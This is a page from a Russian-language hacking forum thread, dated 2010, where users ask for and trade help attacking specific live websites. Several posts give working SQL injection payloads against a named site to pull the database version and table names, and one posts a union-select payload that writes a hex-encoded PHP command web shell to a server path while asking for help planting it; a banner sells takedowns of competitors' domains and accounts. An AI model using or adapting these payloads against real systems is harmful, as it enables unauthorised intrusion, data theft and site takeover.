Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1250 из 2438

1250

Опции темы

Поиск в этой теме

Опции просмотра

#12491

11.04.2010, 14:25

Deani

Познающий

Регистрация: 09.11.2009

Сообщений: 32

Провел на форуме:
79679

Репутация: 3

Нашел самую обыкновенную sql inj и никак не могу составить грамотно запрос. Помогите найти решение.
http://www.warsong.ws/exchange/engine/repair.php?realm=1&guid='

#12492

11.04.2010, 14:36

S00pY

Познающий

Регистрация: 24.04.2007

Сообщений: 92

Провел на форуме:
2621544

Репутация: 412

http://warsong.ws/exchange/engine/repair.php?realm=1&guid=10'+and+substring(version( ),1,1)=5--+
version():
http://warsong.ws/exchange/engine/repair.php?realm=1&guid=10'+or+(select+count(*)+fr om+information_schema.tables+group+by+concat(versi on(),floor(rand(0)*2)))--+

#12493

11.04.2010, 14:44

Deani

Познающий

Регистрация: 09.11.2009

Сообщений: 32

Провел на форуме:
79679

Репутация: 3

спасибо все получилось

#12494

11.04.2010, 14:57

LokbatanLi

Участник форума

Регистрация: 24.08.2009

Сообщений: 172

Провел на форуме:
1535319

Репутация: -16

поjaлуста помоqите заливать шелл

Цитата:

http://www.fytobell.be/newsitem_show.php?item=-120+union+select+0,0x3C3F696E636C75646528245F47455 45B22636D64225D293B3F3E,2,3,4,5,6,7,8,9+from+mysql .user+INTO+DUMPFILE+%27E:\Inetpub\www.ort-systeem.be\web\mmtools\impuls\sites\fytows\test13. php%27

#12495

11.04.2010, 16:25

Deani

Познающий

Регистрация: 09.11.2009

Сообщений: 32

Провел на форуме:
79679

Репутация: 3

Подскажите как отсюда вывести table_name из базы information_schema.tables ?
http://www.warsong.ws/exchange/engine/repair.php?realm=1&guid='

#12496

11.04.2010, 17:34

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

Провел на форуме:
568388

Репутация: 87

Цитата:

Сообщение от Deani

Подскажите как отсюда вывести table_name из базы information_schema.tables ?
http://www.warsong.ws/exchange/engine/repair.php?realm=1&guid='

http://warsong.ws/exchange/engine/repair.php?realm=1&guid=10%27+or+%28select+count%2 8*%29+from+information_schema.tables+group+by+conc at%28table_name,floor%28rand%280%29*%202%29%29%29--+

нубство

#12497

11.04.2010, 17:45

Deani

Познающий

Регистрация: 09.11.2009

Сообщений: 32

Провел на форуме:
79679

Репутация: 3

не выводит

#12498

11.04.2010, 17:50

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

Провел на форуме:
568388

Репутация: 87

Цитата:

Сообщение от Deani

не выводит

Ну просто ппц... реал нубство ты вообще на код смотришь иле тока нажимаешь strg+c и в url strg+v ??

#12499

11.04.2010, 17:53

Deani

Познающий

Регистрация: 09.11.2009

Сообщений: 32

Провел на форуме:
79679

Репутация: 3

конечно смотрю! но я не могу получить конкретное значение !

#12500

11.04.2010, 17:56

Ctacok

Moderator - Level 7

Регистрация: 19.12.2008

Сообщений: 1,203

Провел на форуме:
5011696

Репутация: 2221

Ну так ты пробелы убери, фильтрация от 1-8 класса.

Страница 1250 из 2438

1250

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход